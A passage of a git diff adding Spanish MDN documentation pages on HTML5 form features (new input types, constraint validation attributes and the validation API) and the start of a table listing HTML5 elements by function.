+ <li>El atributo {{ htmlattrxref("required", "input") }} en los elementos {{ HTMLElement("input") }}, {{ HTMLElement("select") }} y {{ HTMLElement("textarea") }} indica que se debe ingresar algún dato. (En el elemento {{ HTMLElement("input") }}, {{ htmlattrxref("required", "input") }} sólo se aplica con ciertos valores del atributo {{ htmlattrxref("type", "input") }}.)</li>
+ <li>El atributo {{ htmlattrxref("pattern", "input") }} en el elemento {{ HTMLElement("input") }} restringe el valor para que concuerde con una expresión regular específica.</li>
+ <li>Los atributos {{ htmlattrxref("min", "input") }} y {{ htmlattrxref("max", "input") }} del elemento {{ HTMLElement("input") }} restringen los valores máximos y mínimos que pueden ser ingresados.</li>
+ <li>El atributo {{ htmlattrxref("step", "input") }} del elemento {{ HTMLElement("input") }} (cuando se usa en combinación con los atributos {{ htmlattrxref("min", "input") }} y {{ htmlattrxref("max", "input") }}) restringe la granularidad de los valores ingresados. Un valor que no se corresponda con un valor permitido no será validado.</li>
+ <li>El atributo {{ htmlattrxref("maxlength", "input") }} de los elementos {{ HTMLElement("input") }} y {{ HTMLElement("textarea") }} restringe el máximo número de caracteres (en puntos de código unicode) que el usuario puede ingresar.</li>
+ <li>Los valores <code>url</code> y <code>email</code> para {{ htmlattrxref("type", "input") }} restringen el valor para una URL o dirección de correo válida respectivamente.</li>
+</ul>
+
+<p>Además, puedes prevenir la validación restringida especificando el atributo {{ htmlattrxref("novalidate", "form") }} en el elemento {{ HTMLElement("form") }}, o el atributo {{ htmlattrxref("formnovalidate", "button") }} en el elemento {{ HTMLElement("button") }} y en el elemento {{ HTMLElement("input") }} (cuando {{ htmlattrxref("type", "input") }} es <code>submit</code> o <code>image</code>). Estos atributos indican que el formulario no será validado cuando se envie.</p>
+
+<h4 id="API_de_validación_restringida">API de validación restringida</h4>
+
+<p>Las siguientes propiedades y métodos del DOM relacionadas con la validación restringida están disponibles para scripts del lado del cliente:</p>
+
+<ul>
+ <li>En objetos <a href="/en/DOM/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a>, el método <code>checkValidity()</code>, que devuelve verdadero si todos los elementos asociados del formulario que necesitan validación satisfacen las restricciones y falso si no lo hacen.</li>
+ <li>En <a href="/en/HTML/Content_categories#form-associated" title="en/HTML/Content Categories#form-associated">elementos asociados al formulario</a>:
+  <ul>
+   <li>la propiedad <code>willValidate</code>, que es falso si el elemento no satisface las restricciones.</li>
+   <li>la propiedad <code>validity</code>, que es un objeto <a href="/en/DOM/ValidityState_Interface" title="en/DOM/ValidityState Interface">ValidityState</a> que representa los estados de validación en que está el elemento (p.e., condiciones de restricción que han fallado o exitosas).</li>
+   <li>la propiedad <code>validationMessage</code>, que es un mensaje que contiene todas las fallas en las restricciones que pertenecen a ese elemento.</li>
+   <li>el método <code>checkValidity()</code>, que devuelve falso si el elemento falla en satisfacer alguna de las restricciones o verdadero si pasa lo contrario.</li>
+   <li>el método <code>setCustomValidity()</code>, que establece un mensaje de validación personalizado, permitiendo imponer y validad restricciones más allá de las que están predefinidas.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/html/html5/formularios_en_html5/index.html b/files/es/html/html5/formularios_en_html5/index.html
new file mode 100644
index 0000000000..6e4cd130d6
--- /dev/null
+++ b/files/es/html/html5/formularios_en_html5/index.html
@@ -0,0 +1,44 @@
+---
+title: Formularios en HTML5
+slug: HTML/HTML5/Formularios_en_HTML5
+tags:
+  - HTML
+  - HTML5
+  - formulários
+  - para_revisar
+translation_of: Learn/HTML/Forms/HTML5_updates
+---
+<p>{{ gecko_minversion_header("2") }}</p>
+<p>Los elementos y atributos para formularios en HTML5 proveen un mayor grado de marcado semántico que en HTML4 y eliminan gran parte del tedioso trabajo de programación y diseño que se necesitaba en HTML4. Las funcionalidades de los formularios en HTML5 brindan una mejor experiencia para los usuarios al permitir que estos tengan un comportamiento más coherente entre diferentes sitios web y proporcionar una retroalimentación inmediata acerca de la información ingresada. Asimismo, proporcionan esta experiencia a los usuarios que han deshabilitado el javascript en sus navegadores.</p>
+<p>Este documento describe los elementos nuevos o modificados que están disponibles en Gecko/Firefox.</p>
+<h3 id="El_elemento_&lt;input>">El elemento <code>&lt;input&gt;</code></h3>
+<p>El elemento <code>{{ HTMLElement("input") }}</code> tiene nuevos valores para el atributo {{ htmlattrxref("type", "input") }}.</p>
+<ul> <li><span style="font-family: Courier New;">search</span>: El atributo representa un campo de búsqueda. Los saltos de línea son automáticamente eliminados del valor ingresado pero no se modifica ninguna otra sintaxis.</li> <li><span style="font-family: Courier New;">tel</span>: El atributo representa un control para editar un número de teléfono. Los saltos de línea son automáticamente eliminados del valor ingresado pero no se modifica ninguna otra sintaxis, ya que los números telefónicos varían enormemente en todo el mundo. Puedes usar atributos como {{ htmlattrxref("pattern", "input") }} y {{ htmlattrxref("maxlength", "input") }} para restringir los valores ingresados en el campo.</li> <li><span style="font-family: Courier New;">url</span>: El atributo representa un control para editar una <a class=" external" href="http://es.wikipedia.org/URL" title="http://es.wikipedia.org/URL">URL</a>. Se eliminan los saltos de línea y espacios en blanco antes y después del valor ingresado.</li> <li> <p><span style="font-family: Courier New;">email</span>: El atributo representa una dirección de correo electrónico. Los saltos de línea se eliminan automáticamente del valor ingresado. Puede ingresarse una dirección de correo no válida, pero el campo de ingreso sólo funcionará si la dirección  satisface la producción ABNF <span style="font-family: Courier New;"><code><code title="">1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code></code></span> donde <code title="">atext</code> está definida en RFC 5322, sección 3.2.3 y <code title="">ldh-str</code> está definida en RFC 1034, sección 3.5.</p> <div class="note">Nota: si el atributo {{ htmlattrxref("multiple", "input") }} está incluido, pueden ingresarse muchas direcciones de correo electrónico en ese campo {{ HTMLElement("input") }}, como una lista separada por comas, pero no está implementado actualmente en Firefox.</div> </li>
+</ul>
+<p>El elemento {{ HTMLElement("input") }} también tiene nuevos atributos:</p>
+<ul> <li>{{ htmlattrxref("list", "input") }}: el id. de un elemento {{ HTMLElement("datalist") }} cuyo contenido, los elementos {{ HTMLElement("option") }}, van a ser usados como ayudas y serán mostrados como propuestas en el área de sugerencias del campo input.</li> <li>{{ htmlattrxref("pattern", "input") }}: una expresión regular respecto a la cual se comprueba el valor del control, que puede ser usada con valores de {{ htmlattrxref("type", "input") }} de <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code> y <code>email</code>.</li> <li>{{ htmlattrxref("formmethod", "input") }}: una cadena que indica qué método HTTP (GET, POST, PUT o DELETE) debe ser usado cuando se envía; sobrescribe el {{ htmlattrxref("method", "form") }} del elemento {{ HTMLElement("form") }}, si se define. El {{ htmlattrxref("formmethod", "input") }} sólo se aplica cuando el {{ htmlattrxref("type", "input") }} es <span style="font-family: Courier New;">image</span> o <span style="font-family: Courier New;">submit</span>.</li> <li>{{ htmlattrxref("x-moz-errormessage", "input") }} {{ non-standard_inline() }}: una cadena que se muestra como un mensaje de error si el campo no logra validarse. Es una extensión de Mozilla.</li> </ul>
+<h3 id="El_elemento_&lt;form>">El elemento <code>&lt;form&gt;</code></h3>
+<p>El elemento {{ HTMLElement("form") }} tiene un nuevo atributo:</p>
+<ul> <li>{{ htmlattrxref("novalidate", "form") }}: este atributo evita que el formulario sea validado antes del envío.</li>
+</ul><h3 id="El_elemento_&lt;datalist>">El elemento <code>&lt;datalist&gt; </code></h3>
+<p>El elemento {{ HTMLElement("datalist") }} representa la lista de elementos {{ HTMLElement("option") }} como sugerencias cuando se llena un campo {{ HTMLElement("input") }}.</p>
+<p>Puedes usar el atributo {{ htmlattrxref("list", "input") }} en un elemento {{ HTMLElement("input") }} para enlazar a un campo de ingreso específico con un elemento {{ HTMLElement("datalist") }} determinado.</p>
+<h3 id="El_elemento_&lt;output>">El elemento <code>&lt;output&gt;</code></h3>
+<p>El elemento <code>{{ HTMLElement("output") }}</code> representa el resultado de un cálculo.</p>
+<p>Puedes usar el atributo {{ htmlattrxref("for", "output") }} para especificar una relación entre el elemento output y otros elementos en el documento que afectan el cálculo (por ejemplo, ingreso de datos o parámetros). El valor del atributo {{ htmlattrxref("for", "output") }} es una lista separada por espacios de identificadores de otros elementos.</p><h3 id="El_atributo_placeholder">El atributo placeholder</h3>
+<p>El atributo {{ htmlattrxref("placeholder", "input") }} en elementos <code>{{ HTMLElement("input") }}</code> y <code>{{ HTMLElement("textarea") }}</code> proporciona una ayuda a los usuarios acerca de qué debe ingresarse en el campo. El texto introducido en el placeholder no debe contener retornos de carro o saltos de línea.</p><h3 id="El_atributo_autofocus">El atributo autofocus</h3>
+<p>El atributo {{ htmlattrxref("autofocus", "input") }} te permite especificar que una parte del formulario debe tener foco para ingresar información cuando se carga la página, a menos que el usuario lo cambie, por ejemplo al escribir en otro lugar. Sólo un elemento del formulario en un documento puede tener el atributo <code>autofocus</code>, que es booleano. Este atributo puede ser aplicado a los elementos <code>{{ HTMLElement("input") }}</code>, <code>{{ HTMLElement("button") }}</code>, <code>{{ HTMLElement("select") }}</code> y <code>{{ HTMLElement("textarea") }}</code>. La excepción es que <code>autofocus</code> no puede aplicarse a un elemento <code>&lt;input&gt;</code> si el atributo {{ htmlattrxref("type", "input") }} <code>hidden</code> está seleccionado (es decir, no puede enfocar automáticamente un elemento escondido).</p><h3 id="La_propiedad_label.control_del_DOM">La propiedad label.control del DOM</h3>
+<p>La interface <a href="/en/DOM/HTMLLabelElement" title="en/DOM/HTMLLabelElement">HTMLLabelElement</a> DOM brinda una propiedad extra, sumadas a las propiedades que corresponden a los atributos del elemento <code>{{ HTMLElement("label") }}</code> de HTML. La propiedad <strong>control</strong> devuelve el controlador etiquetado, es decir, el controlador para el que está hecha la etiqueta, que está determinado por el atributo {{ htmlattrxref("for", "label") }} (si está definido) o por el primer elemento controlador descendiente.</p><h3 id="Validación_restringida">Validación restringida</h3>
+<p>El HTML5 brinda sintaxis y elementos de API para posibilitar la validación de formularios del lado del cliente. Aunque esta funcionalidad no reemplaza la validación del lado del servidor, que todavía es necesaria por seguridad e integridad de la información, la validación del lado del cliente puede brindar una experiencia de usuario mejor al darle al usuario una respuesta inmediata acerca de la información ingresada.</p>
+<p>Si se ajusta el atributo <code>title</code> al elemento {{ HTMLElement("input") }}, esa cadena se mostrará en una ventana emergente de ayuda cuando falle la validación. Si <code>title</code> se ajusta a una cadena vacía, no se mostrará ninguna ventana emergente. Si el atributo <code>title</code> no se configura, en su lugar se mostrará el mensaje de validación estándar (como especifica el atributo {{ htmlattrxref("x-moz-errormessage") }} o llamando al método <code>setCustomValidity()</code>).</p>
+<div class="note"><strong>Note:</strong> la validación restringida no es compatible con los elementos {{ HTMLElement("button") }} en un formulario; si quieres aplicar estilo a un botón basado en la validez del formulario asociado, usa la seudoclase {{ cssxref(":-moz-submit-invalid") }}.</div>
+<h4 id="Sintaxis_de_HTML_para_la_validación_restringida">Sintaxis de HTML para la validación restringida</h4>
+<p>Los siguientes elementos de sintaxis de HTML5 pueden ser usados para restringir datos en el formulario.</p>
+<ul> <li>El atributo {{ htmlattrxref("required", "input") }} en los elementos {{ HTMLElement("input") }}, {{ HTMLElement("select") }} y {{ HTMLElement("textarea") }} indica que se debe ingresar algún dato. (En el elemento {{ HTMLElement("input") }}, {{ htmlattrxref("required", "input") }} solo se aplica con ciertos valores del atributo {{ htmlattrxref("type", "input") }}.)</li> <li>El atributo {{ htmlattrxref("pattern", "input") }} en el elemento {{ HTMLElement("input") }} restringe el valor para que concuerde con una expresión regular específica.</li> <li>Los atributos {{ htmlattrxref("min", "input") }} y {{ htmlattrxref("max", "input") }} del elemento {{ HTMLElement("input") }} restringen los valores máximos y mínimos que pueden ser ingresados.</li> <li>El atributo {{ htmlattrxref("step", "input") }} del elemento {{ HTMLElement("input") }} (cuando se usa en combinación con los atributos {{ htmlattrxref("min", "input") }} y {{ htmlattrxref("max", "input") }}) restringe la granularidad de los valores ingresados. Un valor que no se corresponda con un valor permitido no será validado.</li> <li>El atributo {{ htmlattrxref("maxlength", "input") }} de los elementos {{ HTMLElement("input") }} y {{ HTMLElement("textarea") }} restringe el máximo número de caracteres (en puntos de código unicode) que el usuario puede ingresar.</li> <li>Los valores <code>url</code> y <code>email</code> para {{ htmlattrxref("type", "input") }} restringen el valor para una URL o dirección de correo válida respectivamente.</li>
+</ul>
+<p>Además, puedes evitar la validación restringida especificando el atributo {{ htmlattrxref("novalidate", "form") }} en el elemento {{ HTMLElement("form") }}, o el atributo {{ htmlattrxref("formnovalidate", "button") }} en el elemento {{ HTMLElement("button") }} y en el elemento {{ HTMLElement("input") }} (cuando {{ htmlattrxref("type", "input") }} es <code>submit</code> o <code>image</code>). Estos atributos indican que el formulario no será validado cuando se envie.</p><h4 id="API_de_validación_restringida">API de validación restringida</h4>
+<p>Las siguientes propiedades y métodos del DOM relacionadas con la validación restringida están disponibles para scripts del lado del cliente:</p>
+<ul> <li>En objetos <code><a href="/en/DOM/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a></code> el método <code>checkValidity()</code>, que devuelve verdadero si todos los elementos asociados del formulario que necesitan validación satisfacen las restricciones, y falso si no lo hacen,</li> <li>En <a href="/en/HTML/Content_categories#form-associated" title="en/HTML/Content Categories#form-associated">elementos asociados al formulario</a>: <ul> <li>la propiedad <code>willValidate</code>, que es falso si el elemento no satisface las restricciones.</li> <li>la propiedad <code>validity</code>, que es un objeto <code><a href="../../../../en/DOM/ValidityState" rel="internal">ValidityState</a></code> que representa los estados de validación en que está el elemento (p. ej., condiciones de restricción que han fallado o exitosas).</li> <li>la propiedad <code>validationMessage</code>, que es un mensaje que contiene todas las fallas o errores en las restricciones que pertenecen a ese elemento.</li> <li>el método <code>checkValidity()</code>, que devuelve falso si el elemento no logra satisfacer alguna de las restricciones, o verdadero si pasa lo contrario.</li> <li>el método <code>setCustomValidity()</code>, que establece un mensaje de validación personalizado, permitiendo imponer y validad restricciones más allá de las que están predefinidas.</li> </ul> </li>
+</ul>
+<p>{{ languages({"en": "en/HTML/HTML5/Forms_in_HTML5", "ja": "ja/HTML/HTML5/Forms_in_HTML5"}) }}</p>
+<p>{{ HTML5ArticleTOC() }}</p>
diff --git a/files/es/html/html5/html5_lista_elementos/index.html b/files/es/html/html5/html5_lista_elementos/index.html
new file mode 100644
index 0000000000..f3e1d0a8e4
--- /dev/null
+++ b/files/es/html/html5/html5_lista_elementos/index.html
@@ -0,0 +1,598 @@
+---
+title: Lista de Elementos HTML5
+slug: HTML/HTML5/HTML5_lista_elementos
+translation_of: Web/HTML/Element
+---
+<p>Todos los <strong>elementos del estandar HTML5</strong> están listados aquí, descritos por su etiqueta de apertura y agrupados por su función. Contrariamente al <a href="/en-US/docs/HTML/Element" title="HTML/Element">indice de elementos HTML</a> el cual lista todas las posibles etiquetas, estandar, no-estandar, válidas, obsoletas o aquellas en desuso, esta lista solamente los elementos válidos de HTML5. Solamente aquellos elementos listados aquí son los que deberían ser usados en nuevos sitios Web.</p>
+
+<p>El simbolo <a href="/en-US/docs/HTML/HTML5"><img alt="This element was added as part of HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a> indica que el elemento fue añadido en HTML5. Nótese que otros elementos listados aqui pueden haber sido modificados o extendido en su significado por la especificación HTML5.</p>
+
+<h2 id="Elemento_raíz">Elemento raíz</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Elemento</td>
+   <td>Descripcion</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("&lt;!DOCTYPE html&gt;")}}</td>
+   <td>Define que el documento esta bajo el estandar de HTML 5</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("html")}}</td>
+   <td>Representa la raíz de un documento HTML o XHTML. Todos los demás elementos deben ser descendientes de este elemento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Metadatos_del_documento">Metadatos del documento</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("head")}}</td>
+   <td>Representa una colección de metadatos acerca del documento, incluyendo enlaces a, o definiciones de, scripts y hojas de estilo.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("title")}}</td>
+   <td>Define el título del documento, el cual se muestra en la barra de título del navegador o en las pestañas de página. Solamente puede contener texto y cualquier otra etiqueta contenida no será interpretada.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("base")}}</td>
+   <td>Define la URL base para las URLs relativas en la página.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("link")}}</td>
+   <td>Usada para enlazar JavaScript y CSS externos con el documento HTML actual.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("meta")}}</td>
+   <td>Define los metadatos que no pueden ser definidos usando otro elemento HTML.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("style")}}</td>
+   <td>Etiqueta de estilo usada para escribir CSS en línea.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Scripting">Scripting</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("script")}}</td>
+   <td>Define ya sea un script interno o un enlace hacia un script externo. El lenguaje de programación es JavaScript</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("noscript")}}</td>
+   <td>Define un contenido alternativo a mostrar cuando el navegador no soporta scripting.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Secciones">Secciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("body")}}</td>
+   <td>
+    <div>Representa el contenido principal de un documento HTML. Solo hay un elemento <code>&lt;body&gt;</code> en un documento.</div>
+   </td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("section")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define una sección en un documento.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("nav")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define una sección que solamente contiene enlaces de navegación</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("article")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define contenido autónomo que podría existir independientemente del resto del contenido.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("aside")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define algunos contenidos vagamente relacionados con el resto del contenido de la página. Si es removido, el contenido restante seguirá teniendo sentido</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/HTML/Element/Heading_Elements"><code>&lt;h1&gt;,&lt;h2&gt;,&lt;h3&gt;,&lt;h4&gt;,&lt;h5&gt;,&lt;h6&gt;</code></a></td>
+   <td>Los elemento de cabecera  implementan seis niveles de cabeceras de documentos; <code>&lt;h1&gt;</code> es la de mayor y <code>&lt;h6&gt;</code> es la de menor importancia. Un elemento de cabecera describe brevemente el tema de la sección que introduce.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("header")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define la cabecera de una página o sección. Usualmente contiene un logotipo, el título del sitio Web y una tabla de navegación de contenidos.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("footer")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define el pie de una página o sección. Usualmente contiene un mensaje de derechos de autoría, algunos enlaces a información legal o direcciones para dar información de retroalimentación.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("address")}}</td>
+   <td>Define una sección que contiene información de contacto.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("main")}}<a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define el contenido principal o importante en el documento. Solamente existe un elemento <code>&lt;main&gt;</code> en el documento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Agrupación_de_Contenido">Agrupación de Contenido</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("p")}}</td>
+   <td>Define una parte que debe mostrarse como un párrafo.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("hr")}}</td>
+   <td>Representa un quiebre temático entre párrafos de una sección o articulo o cualquier contenido.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("pre")}}</td>
+   <td>Indica que su contenido esta preformateado y que este formato debe ser preservado.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("blockquote")}}</td>
+   <td>Representa un contenido citado desde otra fuente.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("ol")}}</td>
+   <td>Define una lista ordenada de artículos.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("ul")}}</td>
+   <td>Define una lista de artículos sin orden.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("li")}}</td>
+   <td>Define un artículo de una lista enumerada.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("dl")}}</td>
+   <td>Define una lista de definiciones, es decir, una lista de términos y sus definiciones asociadas.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("dt")}}</td>
+   <td>Representa un término definido por el siguiente <code>&lt;dd&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("dd")}}</td>
+   <td>Representa la definición de los términos listados antes que él.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("figure")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa una figura ilustrada como parte del documento.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("figcaption")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa la leyenda de una figura.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("div")}}</td>
+   <td>Representa un contenedor genérico sin ningún significado especial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Semántica_a_nivel_de_Texto">Semántica a nivel de Texto</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("a")}}</td>
+   <td>Representa un <em>hiperenlace</em>, enlazando a otro recurso.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("em")}}</td>
+   <td>Representa un texto <em>enfatizado</em>, como un acento de intensidad.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("strong")}}</td>
+   <td>Representa un texto especialmente <em>importante</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("small")}}</td>
+   <td>Representa un <em>comentario aparte</em>, es decir, textos como un descargo de responsabilidad o una nota de derechos de autoría, que no son esenciales para la comprensión del documento.<code> </code></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("s")}}</td>
+   <td>Representa contenido que <em>ya</em> <em>no es exacto o relevante</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("cite")}}</td>
+   <td>Representa el <em>título de una obra</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("q")}}</td>
+   <td>Representa una <em>cita textual</em> inline.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("dfn")}}</td>
+   <td>Representa un término cuya <em>definición</em>  está contenida en su contenido ancestro más próximo.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("abbr")}}</td>
+   <td>Representa una <em>abreviación </em>o un <em>acrónimo</em> ; la expansión de la abreviatura puede ser representada por el atributo <code>title</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("data")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Asocia un <em>equivalente legible por máquina </em>a sus contenidos. (Este elemento está sólamente en la versión de la WHATWG del estandar HTML, y no en la versión de la W3C de HTML5).</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("time")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un valor de <em>fecha </em>y <em>hora</em>; el equivalente legible por máquina puede ser representado en el atributo <span style="font-family: courier new,andale mono,monospace; line-height: normal;">datetime</span>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("code")}}</td>
+   <td>Representa un <em>código de </em><em>ordenador</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("var")}}</td>
+   <td>Representa a una <em>variable, </em>es decir<em>, una expresión matemática o contexto de programación, un identificador que represente a una constante, un símbolo que identifica una cantidad física, un parámetro de una función o un marcador de posición en prosa</em><em>.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("samp")}}</td>
+   <td>Representa la <em>salida</em> de un programa o un ordenador.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("kbd")}}</td>
+   <td>Representa la <em>entrada de usuario</em>, por lo general desde un teclado, pero no necesariamente, este puede representar otras formas de entrada de usuario, como comandos de voz transcritos.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("sub")}},{{HTMLElement("sup")}}</td>
+   <td>Representan un <em>subíndice</em> y un <em>superíndice, </em>respectivamente.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("i")}}</td>
+   <td>Representa un texto en una voz o estado de ánimo <em>alterno</em>, o por lo menos de diferente calidad, como una designación taxonómica, un término técnico, una frase idiomática, un pensamiento o el nombre de un barco.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("b")}}</td>
+   <td>Representa un texto hacia el cual se llama la atención para <em>propósitos utilitarios. </em> No confiere ninguna importancia adicional y no implica una voz alterna.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("u")}}</td>
+   <td>Representa una anotación no textual <em>sin-articular</em>, como etiquetar un texto como mal escrito o etiquetar un nombre propio en texto en chino.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("mark")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa texto resaltado con propósitos de <em>referencia</em>, es decir por su relevancia en otro contexto.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("ruby")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>
+    <p>Representa contenidos a ser marcados con <em>anotaciones ruby</em>, recorridos cortos de texto presentados junto al texto. Estos son utilizados con regularidad en conjunto a lenguajes de Asia del Este, donde las anotaciones actúan como una guía para la pronunciación, como el <em>furigana</em> japonés.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("rt")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa el <em>texto de una anotación ruby</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("rp")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa los <em>paréntesis </em>alrededor de una anotación ruby, usada para mostrar la anotación de manera alterna por los navegadores que no soporten despliegue estandar para las anotaciones.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("bdi")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
